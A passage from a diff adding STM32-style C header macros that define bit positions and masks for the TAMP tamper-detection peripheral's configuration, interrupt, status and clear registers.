*/ +#define TAMP_ATCR2_ATOSEL5_2 (0x4UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00400000 */ +#define TAMP_ATCR2_ATOSEL6_Pos (23UL) +#define TAMP_ATCR2_ATOSEL6_Msk (0x7UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x03800000 */ +#define TAMP_ATCR2_ATOSEL6 TAMP_ATCR2_ATOSEL6_Msk +#define TAMP_ATCR2_ATOSEL6_0 (0x1UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x00800000 */ +#define TAMP_ATCR2_ATOSEL6_1 (0x2UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR2_ATOSEL6_2 (0x4UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR2_ATOSEL7_Pos (26UL) +#define TAMP_ATCR2_ATOSEL7_Msk (0x7UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x1C000000 */ +#define TAMP_ATCR2_ATOSEL7 TAMP_ATCR2_ATOSEL7_Msk +#define TAMP_ATCR2_ATOSEL7_0 (0x1UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR2_ATOSEL7_1 (0x2UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x08000000 */ +#define TAMP_ATCR2_ATOSEL7_2 (0x4UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x10000000 */ +#define TAMP_ATCR2_ATOSEL8_Pos (29UL) +#define TAMP_ATCR2_ATOSEL8_Msk (0x7UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0xE0000000 */ +#define TAMP_ATCR2_ATOSEL8 TAMP_ATCR2_ATOSEL8_Msk +#define TAMP_ATCR2_ATOSEL8_0 (0x1UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x20000000 */ +#define TAMP_ATCR2_ATOSEL8_1 (0x2UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR2_ATOSEL8_2 (0x4UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x80000000 */ + +/******************** Bits definition for TAMP_SECCFGR register *************/ +#define TAMP_SECCFGR_BKPRWSEC_Pos (0UL) +#define TAMP_SECCFGR_BKPRWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x000000FF */ +#define TAMP_SECCFGR_BKPRWSEC TAMP_SECCFGR_BKPRWSEC_Msk +#define TAMP_SECCFGR_BKPRWSEC_0 (0x1UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000001 */ +#define TAMP_SECCFGR_BKPRWSEC_1 (0x2UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000002 */ +#define TAMP_SECCFGR_BKPRWSEC_2 (0x4UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000004 */ +#define TAMP_SECCFGR_BKPRWSEC_3 (0x8UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000008 */ +#define TAMP_SECCFGR_BKPRWSEC_4 (0x10UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000010 */ +#define TAMP_SECCFGR_BKPRWSEC_5 (0x20UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000020 */ +#define TAMP_SECCFGR_BKPRWSEC_6 (0x40UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000040 */ +#define TAMP_SECCFGR_BKPRWSEC_7 (0x80UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000080 */ +#define TAMP_SECCFGR_CNT1SEC_Pos (15UL) +#define TAMP_SECCFGR_CNT1SEC_Msk (0x1UL << TAMP_SECCFGR_CNT1SEC_Pos) /*!< 0x00008000 */ +#define TAMP_SECCFGR_CNT1SEC TAMP_SECCFGR_CNT1SEC_Msk +#define TAMP_SECCFGR_BKPWSEC_Pos (16UL) +#define TAMP_SECCFGR_BKPWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00FF0000 */ +#define TAMP_SECCFGR_BKPWSEC TAMP_SECCFGR_BKPWSEC_Msk +#define TAMP_SECCFGR_BKPWSEC_0 (0x1UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00010000 */ +#define TAMP_SECCFGR_BKPWSEC_1 (0x2UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00020000 */ +#define TAMP_SECCFGR_BKPWSEC_2 (0x4UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00040000 */ +#define TAMP_SECCFGR_BKPWSEC_3 (0x8UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00080000 */ +#define TAMP_SECCFGR_BKPWSEC_4 (0x10UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00100000 */ +#define TAMP_SECCFGR_BKPWSEC_5 (0x20UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00200000 */ +#define TAMP_SECCFGR_BKPWSEC_6 (0x40UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00400000 */ +#define TAMP_SECCFGR_BKPWSEC_7 (0x80UL << TAMP_SECCFGR_BKPWSEC_Pos) /*!< 0x00800000 */ +#define TAMP_SECCFGR_BHKLOCK_Pos (30UL) +#define TAMP_SECCFGR_BHKLOCK_Msk (0x1UL << TAMP_SECCFGR_BHKLOCK_Pos) /*!< 0x40000000 */ +#define TAMP_SECCFGR_BHKLOCK TAMP_SECCFGR_BHKLOCK_Msk +#define TAMP_SECCFGR_TAMPSEC_Pos (31UL) +#define TAMP_SECCFGR_TAMPSEC_Msk (0x1UL << TAMP_SECCFGR_TAMPSEC_Pos) /*!< 0x80000000 */ +#define TAMP_SECCFGR_TAMPSEC TAMP_SECCFGR_TAMPSEC_Msk + +/******************** Bits definition for TAMP_PRIVCFGR register ************/ +#define TAMP_PRIVCFGR_CNT1PRIV_Pos (15UL) +#define TAMP_PRIVCFGR_CNT1PRIV_Msk (0x1UL << TAMP_PRIVCFGR_CNT1PRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_CNT1PRIV TAMP_PRIVCFGR_CNT1PRIV_Msk +#define TAMP_PRIVCFGR_BKPRWPRIV_Pos (29UL) +#define TAMP_PRIVCFGR_BKPRWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPRWPRIV_Pos) /*!< 0x20000000 */ +#define TAMP_PRIVCFGR_BKPRWPRIV TAMP_PRIVCFGR_BKPRWPRIV_Msk +#define TAMP_PRIVCFGR_BKPWPRIV_Pos (30UL) +#define TAMP_PRIVCFGR_BKPWPRIV_Msk (0x1UL << TAMP_PRIVCFGR_BKPWPRIV_Pos) /*!< 0x40000000 */ +#define TAMP_PRIVCFGR_BKPWPRIV TAMP_PRIVCFGR_BKPWPRIV_Msk +#define TAMP_PRIVCFGR_TAMPPRIV_Pos (31UL) +#define TAMP_PRIVCFGR_TAMPPRIV_Msk (0x1UL << TAMP_PRIVCFGR_TAMPPRIV_Pos) /*!< 0x80000000 */ +#define TAMP_PRIVCFGR_TAMPPRIV TAMP_PRIVCFGR_TAMPPRIV_Msk + +/******************** Bits definition for TAMP_IER register *****************/ +#define TAMP_IER_TAMP1IE_Pos (0UL) +#define TAMP_IER_TAMP1IE_Msk (0x1UL << TAMP_IER_TAMP1IE_Pos) /*!< 0x00000001 */ +#define TAMP_IER_TAMP1IE TAMP_IER_TAMP1IE_Msk +#define TAMP_IER_TAMP2IE_Pos (1UL) +#define TAMP_IER_TAMP2IE_Msk (0x1UL << TAMP_IER_TAMP2IE_Pos) /*!< 0x00000002 */ +#define TAMP_IER_TAMP2IE TAMP_IER_TAMP2IE_Msk +#define TAMP_IER_TAMP3IE_Pos (2UL) +#define TAMP_IER_TAMP3IE_Msk (0x1UL << TAMP_IER_TAMP3IE_Pos) /*!< 0x00000004 */ +#define TAMP_IER_TAMP3IE TAMP_IER_TAMP3IE_Msk +#define TAMP_IER_TAMP4IE_Pos (3UL) +#define TAMP_IER_TAMP4IE_Msk (0x1UL << TAMP_IER_TAMP4IE_Pos) /*!< 0x00000008 */ +#define TAMP_IER_TAMP4IE TAMP_IER_TAMP4IE_Msk +#define TAMP_IER_TAMP5IE_Pos (4UL) +#define TAMP_IER_TAMP5IE_Msk (0x1UL << TAMP_IER_TAMP5IE_Pos) /*!< 0x00000010 */ +#define TAMP_IER_TAMP5IE TAMP_IER_TAMP5IE_Msk +#define TAMP_IER_TAMP6IE_Pos (5UL) +#define TAMP_IER_TAMP6IE_Msk (0x1UL << TAMP_IER_TAMP6IE_Pos) /*!< 0x00000020 */ +#define TAMP_IER_TAMP6IE TAMP_IER_TAMP6IE_Msk +#define TAMP_IER_TAMP7IE_Pos (6UL) +#define TAMP_IER_TAMP7IE_Msk (0x1UL << TAMP_IER_TAMP7IE_Pos) /*!< 0x00000040 */ +#define TAMP_IER_TAMP7IE TAMP_IER_TAMP7IE_Msk +#define TAMP_IER_TAMP8IE_Pos (7UL) +#define TAMP_IER_TAMP8IE_Msk (0x1UL << TAMP_IER_TAMP8IE_Pos) /*!< 0x00000080 */ +#define TAMP_IER_TAMP8IE TAMP_IER_TAMP8IE_Msk +#define TAMP_IER_ITAMP1IE_Pos (16UL) +#define TAMP_IER_ITAMP1IE_Msk (0x1UL << TAMP_IER_ITAMP1IE_Pos) /*!< 0x00010000 */ +#define TAMP_IER_ITAMP1IE TAMP_IER_ITAMP1IE_Msk +#define TAMP_IER_ITAMP2IE_Pos (17UL) +#define TAMP_IER_ITAMP2IE_Msk (0x1UL << TAMP_IER_ITAMP2IE_Pos) /*!< 0x00020000 */ +#define TAMP_IER_ITAMP2IE TAMP_IER_ITAMP2IE_Msk +#define TAMP_IER_ITAMP3IE_Pos (18UL) +#define TAMP_IER_ITAMP3IE_Msk (0x1UL << TAMP_IER_ITAMP3IE_Pos) /*!< 0x00040000 */ +#define TAMP_IER_ITAMP3IE TAMP_IER_ITAMP3IE_Msk +#define TAMP_IER_ITAMP5IE_Pos (20UL) +#define TAMP_IER_ITAMP5IE_Msk (0x1UL << TAMP_IER_ITAMP5IE_Pos) /*!< 0x00100000 */ +#define TAMP_IER_ITAMP5IE TAMP_IER_ITAMP5IE_Msk +#define TAMP_IER_ITAMP6IE_Pos (21UL) +#define TAMP_IER_ITAMP6IE_Msk (0x1UL << TAMP_IER_ITAMP6IE_Pos) /*!< 0x00200000 */ +#define TAMP_IER_ITAMP6IE TAMP_IER_ITAMP6IE_Msk +#define TAMP_IER_ITAMP7IE_Pos (22UL) +#define TAMP_IER_ITAMP7IE_Msk (0x1UL << TAMP_IER_ITAMP7IE_Pos) /*!< 0x00400000 */ +#define TAMP_IER_ITAMP7IE TAMP_IER_ITAMP7IE_Msk +#define TAMP_IER_ITAMP8IE_Pos (23UL) +#define TAMP_IER_ITAMP8IE_Msk (0x1UL << TAMP_IER_ITAMP8IE_Pos) /*!< 0x00800000 */ +#define TAMP_IER_ITAMP8IE TAMP_IER_ITAMP8IE_Msk +#define TAMP_IER_ITAMP9IE_Pos (24UL) +#define TAMP_IER_ITAMP9IE_Msk (0x1UL << TAMP_IER_ITAMP9IE_Pos) /*!< 0x01000000 */ +#define TAMP_IER_ITAMP9IE TAMP_IER_ITAMP9IE_Msk +#define TAMP_IER_ITAMP11IE_Pos (26UL) +#define TAMP_IER_ITAMP11IE_Msk (0x1UL << TAMP_IER_ITAMP11IE_Pos) /*!< 0x04000000 */ +#define TAMP_IER_ITAMP11IE TAMP_IER_ITAMP11IE_Msk +#define TAMP_IER_ITAMP12IE_Pos (27UL) +#define TAMP_IER_ITAMP12IE_Msk (0x1UL << TAMP_IER_ITAMP12IE_Pos) /*!< 0x08000000 */ +#define TAMP_IER_ITAMP12IE TAMP_IER_ITAMP12IE_Msk +#define TAMP_IER_ITAMP13IE_Pos (28UL) +#define TAMP_IER_ITAMP13IE_Msk (0x1UL << TAMP_IER_ITAMP13IE_Pos) /*!< 0x10000000 */ +#define TAMP_IER_ITAMP13IE TAMP_IER_ITAMP13IE_Msk + +/******************** Bits definition for TAMP_SR register *****************/ +#define TAMP_SR_TAMP1F_Pos (0UL) +#define TAMP_SR_TAMP1F_Msk (0x1UL << TAMP_SR_TAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SR_TAMP1F TAMP_SR_TAMP1F_Msk +#define TAMP_SR_TAMP2F_Pos (1UL) +#define TAMP_SR_TAMP2F_Msk (0x1UL << TAMP_SR_TAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SR_TAMP2F TAMP_SR_TAMP2F_Msk +#define TAMP_SR_TAMP3F_Pos (2UL) +#define TAMP_SR_TAMP3F_Msk (0x1UL << TAMP_SR_TAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SR_TAMP3F TAMP_SR_TAMP3F_Msk +#define TAMP_SR_TAMP4F_Pos (3UL) +#define TAMP_SR_TAMP4F_Msk (0x1UL << TAMP_SR_TAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SR_TAMP4F TAMP_SR_TAMP4F_Msk +#define TAMP_SR_TAMP5F_Pos (4UL) +#define TAMP_SR_TAMP5F_Msk (0x1UL << TAMP_SR_TAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SR_TAMP5F TAMP_SR_TAMP5F_Msk +#define TAMP_SR_TAMP6F_Pos (5UL) +#define TAMP_SR_TAMP6F_Msk (0x1UL << TAMP_SR_TAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SR_TAMP6F TAMP_SR_TAMP6F_Msk +#define TAMP_SR_TAMP7F_Pos (6UL) +#define TAMP_SR_TAMP7F_Msk (0x1UL << TAMP_SR_TAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SR_TAMP7F TAMP_SR_TAMP7F_Msk +#define TAMP_SR_TAMP8F_Pos (7UL) +#define TAMP_SR_TAMP8F_Msk (0x1UL << TAMP_SR_TAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SR_TAMP8F TAMP_SR_TAMP8F_Msk +#define TAMP_SR_ITAMP1F_Pos (16UL) +#define TAMP_SR_ITAMP1F_Msk (0x1UL << TAMP_SR_ITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP1F TAMP_SR_ITAMP1F_Msk +#define TAMP_SR_ITAMP2F_Pos (17UL) +#define TAMP_SR_ITAMP2F_Msk (0x1UL << TAMP_SR_ITAMP2F_Pos) /*!< 0x00010000 */ +#define TAMP_SR_ITAMP2F TAMP_SR_ITAMP2F_Msk +#define TAMP_SR_ITAMP3F_Pos (18UL) +#define TAMP_SR_ITAMP3F_Msk (0x1UL << TAMP_SR_ITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SR_ITAMP3F TAMP_SR_ITAMP3F_Msk +#define TAMP_SR_ITAMP5F_Pos (20UL) +#define TAMP_SR_ITAMP5F_Msk (0x1UL << TAMP_SR_ITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SR_ITAMP5F TAMP_SR_ITAMP5F_Msk +#define TAMP_SR_ITAMP6F_Pos (21UL) +#define TAMP_SR_ITAMP6F_Msk (0x1UL << TAMP_SR_ITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SR_ITAMP6F TAMP_SR_ITAMP6F_Msk +#define TAMP_SR_ITAMP7F_Pos (22UL) +#define TAMP_SR_ITAMP7F_Msk (0x1UL << TAMP_SR_ITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SR_ITAMP7F TAMP_SR_ITAMP7F_Msk +#define TAMP_SR_ITAMP8F_Pos (23UL) +#define TAMP_SR_ITAMP8F_Msk (0x1UL << TAMP_SR_ITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SR_ITAMP8F TAMP_SR_ITAMP8F_Msk +#define TAMP_SR_ITAMP9F_Pos (24UL) +#define TAMP_SR_ITAMP9F_Msk (0x1UL << TAMP_SR_ITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SR_ITAMP9F TAMP_SR_ITAMP9F_Msk +#define TAMP_SR_ITAMP11F_Pos (26UL) +#define TAMP_SR_ITAMP11F_Msk (0x1UL << TAMP_SR_ITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SR_ITAMP11F TAMP_SR_ITAMP11F_Msk +#define TAMP_SR_ITAMP12F_Pos (27UL) +#define TAMP_SR_ITAMP12F_Msk (0x1UL << TAMP_SR_ITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SR_ITAMP12F TAMP_SR_ITAMP12F_Msk +#define TAMP_SR_ITAMP13F_Pos (28UL) +#define TAMP_SR_ITAMP13F_Msk (0x1UL << TAMP_SR_ITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SR_ITAMP13F TAMP_SR_ITAMP13F_Msk + +/******************** Bits definition for TAMP_MISR register ****************/ +#define TAMP_MISR_TAMP1MF_Pos (0UL) +#define TAMP_MISR_TAMP1MF_Msk (0x1UL << TAMP_MISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_MISR_TAMP1MF TAMP_MISR_TAMP1MF_Msk +#define TAMP_MISR_TAMP2MF_Pos (1UL) +#define TAMP_MISR_TAMP2MF_Msk (0x1UL << TAMP_MISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_MISR_TAMP2MF TAMP_MISR_TAMP2MF_Msk +#define TAMP_MISR_TAMP3MF_Pos (2UL) +#define TAMP_MISR_TAMP3MF_Msk (0x1UL << TAMP_MISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_MISR_TAMP3MF TAMP_MISR_TAMP3MF_Msk +#define TAMP_MISR_TAMP4MF_Pos (3UL) +#define TAMP_MISR_TAMP4MF_Msk (0x1UL << TAMP_MISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_MISR_TAMP4MF TAMP_MISR_TAMP4MF_Msk +#define TAMP_MISR_TAMP5MF_Pos (4UL) +#define TAMP_MISR_TAMP5MF_Msk (0x1UL << TAMP_MISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_MISR_TAMP5MF TAMP_MISR_TAMP5MF_Msk +#define TAMP_MISR_TAMP6MF_Pos (5UL) +#define TAMP_MISR_TAMP6MF_Msk (0x1UL << TAMP_MISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_MISR_TAMP6MF TAMP_MISR_TAMP6MF_Msk +#define TAMP_MISR_TAMP7MF_Pos (6UL) +#define TAMP_MISR_TAMP7MF_Msk (0x1UL << TAMP_MISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_MISR_TAMP7MF TAMP_MISR_TAMP7MF_Msk +#define TAMP_MISR_TAMP8MF_Pos (7UL) +#define TAMP_MISR_TAMP8MF_Msk (0x1UL << TAMP_MISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_MISR_TAMP8MF TAMP_MISR_TAMP8MF_Msk +#define TAMP_MISR_ITAMP1MF_Pos (16UL) +#define TAMP_MISR_ITAMP1MF_Msk (0x1UL << TAMP_MISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP1MF TAMP_MISR_ITAMP1MF_Msk +#define TAMP_MISR_ITAMP2MF_Pos (17UL) +#define TAMP_MISR_ITAMP2MF_Msk (0x1UL << TAMP_MISR_ITAMP2MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP2MF TAMP_MISR_ITAMP2MF_Msk +#define TAMP_MISR_ITAMP3MF_Pos (18UL) +#define TAMP_MISR_ITAMP3MF_Msk (0x1UL << TAMP_MISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_MISR_ITAMP3MF TAMP_MISR_ITAMP3MF_Msk +#define TAMP_MISR_ITAMP5MF_Pos (20UL) +#define TAMP_MISR_ITAMP5MF_Msk (0x1UL << TAMP_MISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_MISR_ITAMP5MF TAMP_MISR_ITAMP5MF_Msk +#define TAMP_MISR_ITAMP6MF_Pos (21UL) +#define TAMP_MISR_ITAMP6MF_Msk (0x1UL << TAMP_MISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_MISR_ITAMP6MF TAMP_MISR_ITAMP6MF_Msk +#define TAMP_MISR_ITAMP7MF_Pos (22UL) +#define TAMP_MISR_ITAMP7MF_Msk (0x1UL << TAMP_MISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_MISR_ITAMP7MF TAMP_MISR_ITAMP7MF_Msk +#define TAMP_MISR_ITAMP8MF_Pos (23UL) +#define TAMP_MISR_ITAMP8MF_Msk (0x1UL << TAMP_MISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_MISR_ITAMP8MF TAMP_MISR_ITAMP8MF_Msk +#define TAMP_MISR_ITAMP9MF_Pos (24UL) +#define TAMP_MISR_ITAMP9MF_Msk (0x1UL << TAMP_MISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_MISR_ITAMP9MF TAMP_MISR_ITAMP9MF_Msk +#define TAMP_MISR_ITAMP11MF_Pos (26UL) +#define TAMP_MISR_ITAMP11MF_Msk (0x1UL << TAMP_MISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_MISR_ITAMP11MF TAMP_MISR_ITAMP11MF_Msk +#define TAMP_MISR_ITAMP12MF_Pos (27UL) +#define TAMP_MISR_ITAMP12MF_Msk (0x1UL << TAMP_MISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_MISR_ITAMP12MF TAMP_MISR_ITAMP12MF_Msk +#define TAMP_MISR_ITAMP13MF_Pos (28UL) +#define TAMP_MISR_ITAMP13MF_Msk (0x1UL << TAMP_MISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_MISR_ITAMP13MF TAMP_MISR_ITAMP13MF_Msk + +/******************** Bits definition for TAMP_SMISR register ************ *****/ +#define TAMP_SMISR_TAMP1MF_Pos (0UL) +#define TAMP_SMISR_TAMP1MF_Msk (0x1UL << TAMP_SMISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_SMISR_TAMP1MF TAMP_SMISR_TAMP1MF_Msk +#define TAMP_SMISR_TAMP2MF_Pos (1UL) +#define TAMP_SMISR_TAMP2MF_Msk (0x1UL << TAMP_SMISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_SMISR_TAMP2MF TAMP_SMISR_TAMP2MF_Msk +#define TAMP_SMISR_TAMP3MF_Pos (2UL) +#define TAMP_SMISR_TAMP3MF_Msk (0x1UL << TAMP_SMISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_SMISR_TAMP3MF TAMP_SMISR_TAMP3MF_Msk +#define TAMP_SMISR_TAMP4MF_Pos (3UL) +#define TAMP_SMISR_TAMP4MF_Msk (0x1UL << TAMP_SMISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_SMISR_TAMP4MF TAMP_SMISR_TAMP4MF_Msk +#define TAMP_SMISR_TAMP5MF_Pos (4UL) +#define TAMP_SMISR_TAMP5MF_Msk (0x1UL << TAMP_SMISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_SMISR_TAMP5MF TAMP_SMISR_TAMP5MF_Msk +#define TAMP_SMISR_TAMP6MF_Pos (5UL) +#define TAMP_SMISR_TAMP6MF_Msk (0x1UL << TAMP_SMISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_SMISR_TAMP6MF TAMP_SMISR_TAMP6MF_Msk +#define TAMP_SMISR_TAMP7MF_Pos (6UL) +#define TAMP_SMISR_TAMP7MF_Msk (0x1UL << TAMP_SMISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_SMISR_TAMP7MF TAMP_SMISR_TAMP7MF_Msk +#define TAMP_SMISR_TAMP8MF_Pos (7UL) +#define TAMP_SMISR_TAMP8MF_Msk (0x1UL << TAMP_SMISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_SMISR_TAMP8MF TAMP_SMISR_TAMP8MF_Msk +#define TAMP_SMISR_ITAMP1MF_Pos (16UL) +#define TAMP_SMISR_ITAMP1MF_Msk (0x1UL << TAMP_SMISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP1MF TAMP_SMISR_ITAMP1MF_Msk +#define TAMP_SMISR_ITAMP2MF_Pos (17UL) +#define TAMP_SMISR_ITAMP2MF_Msk (0x1UL << TAMP_SMISR_ITAMP2MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP2MF TAMP_SMISR_ITAMP2MF_Msk +#define TAMP_SMISR_ITAMP3MF_Pos (18UL) +#define TAMP_SMISR_ITAMP3MF_Msk (0x1UL << TAMP_SMISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_SMISR_ITAMP3MF TAMP_SMISR_ITAMP3MF_Msk +#define TAMP_SMISR_ITAMP5MF_Pos (20UL) +#define TAMP_SMISR_ITAMP5MF_Msk (0x1UL << TAMP_SMISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_SMISR_ITAMP5MF TAMP_SMISR_ITAMP5MF_Msk +#define TAMP_SMISR_ITAMP6MF_Pos (21UL) +#define TAMP_SMISR_ITAMP6MF_Msk (0x1UL << TAMP_SMISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_SMISR_ITAMP6MF TAMP_SMISR_ITAMP6MF_Msk +#define TAMP_SMISR_ITAMP7MF_Pos (22UL) +#define TAMP_SMISR_ITAMP7MF_Msk (0x1UL << TAMP_SMISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_SMISR_ITAMP7MF TAMP_SMISR_ITAMP7MF_Msk +#define TAMP_SMISR_ITAMP8MF_Pos (23UL) +#define TAMP_SMISR_ITAMP8MF_Msk (0x1UL << TAMP_SMISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_SMISR_ITAMP8MF TAMP_SMISR_ITAMP8MF_Msk +#define TAMP_SMISR_ITAMP9MF_Pos (24UL) +#define TAMP_SMISR_ITAMP9MF_Msk (0x1UL << TAMP_SMISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_SMISR_ITAMP9MF TAMP_SMISR_ITAMP9MF_Msk +#define TAMP_SMISR_ITAMP11MF_Pos (26UL) +#define TAMP_SMISR_ITAMP11MF_Msk (0x1UL << TAMP_SMISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_SMISR_ITAMP11MF TAMP_SMISR_ITAMP11MF_Msk +#define TAMP_SMISR_ITAMP12MF_Pos (27UL) +#define TAMP_SMISR_ITAMP12MF_Msk (0x1UL << TAMP_SMISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_SMISR_ITAMP12MF TAMP_SMISR_ITAMP12MF_Msk +#define TAMP_SMISR_ITAMP13MF_Pos (28UL) +#define TAMP_SMISR_ITAMP13MF_Msk (0x1UL << TAMP_SMISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_SMISR_ITAMP13MF TAMP_SMISR_ITAMP13MF_Msk + +/******************** Bits definition for TAMP_SCR register *****************/ +#define TAMP_SCR_CTAMP1F_Pos (0UL) +#define TAMP_SCR_CTAMP1F_Msk (0x1UL << TAMP_SCR_CTAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SCR_CTAMP1F TAMP_SCR_CTAMP1F_Msk +#define TAMP_SCR_CTAMP2F_Pos (1UL) +#define TAMP_SCR_CTAMP2F_Msk (0x1UL << TAMP_SCR_CTAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SCR_CTAMP2F TAMP_SCR_CTAMP2F_Msk +#define TAMP_SCR_CTAMP3F_Pos (2UL) +#define TAMP_SCR_CTAMP3F_Msk (0x1UL << TAMP_SCR_CTAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SCR_CTAMP3F TAMP_SCR_CTAMP3F_Msk +#define TAMP_SCR_CTAMP4F_Pos (3UL) +#define TAMP_SCR_CTAMP4F_Msk (0x1UL << TAMP_SCR_CTAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SCR_CTAMP4F TAMP_SCR_CTAMP4F_Msk +#define TAMP_SCR_CTAMP5F_Pos (4UL) +#define TAMP_SCR_CTAMP5F_Msk (0x1UL << TAMP_SCR_CTAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SCR_CTAMP5F TAMP_SCR_CTAMP5F_Msk +#define TAMP_SCR_CTAMP6F_Pos (5UL) +#define TAMP_SCR_CTAMP6F_Msk (0x1UL << TAMP_SCR_CTAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SCR_CTAMP6F TAMP_SCR_CTAMP6F_Msk +#define TAMP_SCR_CTAMP7F_Pos (6UL) +#define TAMP_SCR_CTAMP7F_Msk (0x1UL << TAMP_SCR_CTAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SCR_CTAMP7F TAMP_SCR_CTAMP7F_Msk +#define TAMP_SCR_CTAMP8F_Pos (7UL) +#define TAMP_SCR_CTAMP8F_Msk (0x1UL << TAMP_SCR_CTAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SCR_CTAMP8F TAMP_SCR_CTAMP8F_Msk +#define TAMP_SCR_CITAMP1F_Pos (16UL) +#define TAMP_SCR_CITAMP1F_Msk (0x1UL << TAMP_SCR_CITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP1F TAMP_SCR_CITAMP1F_Msk +#define TAMP_SCR_CITAMP2F_Pos (17UL) +#define 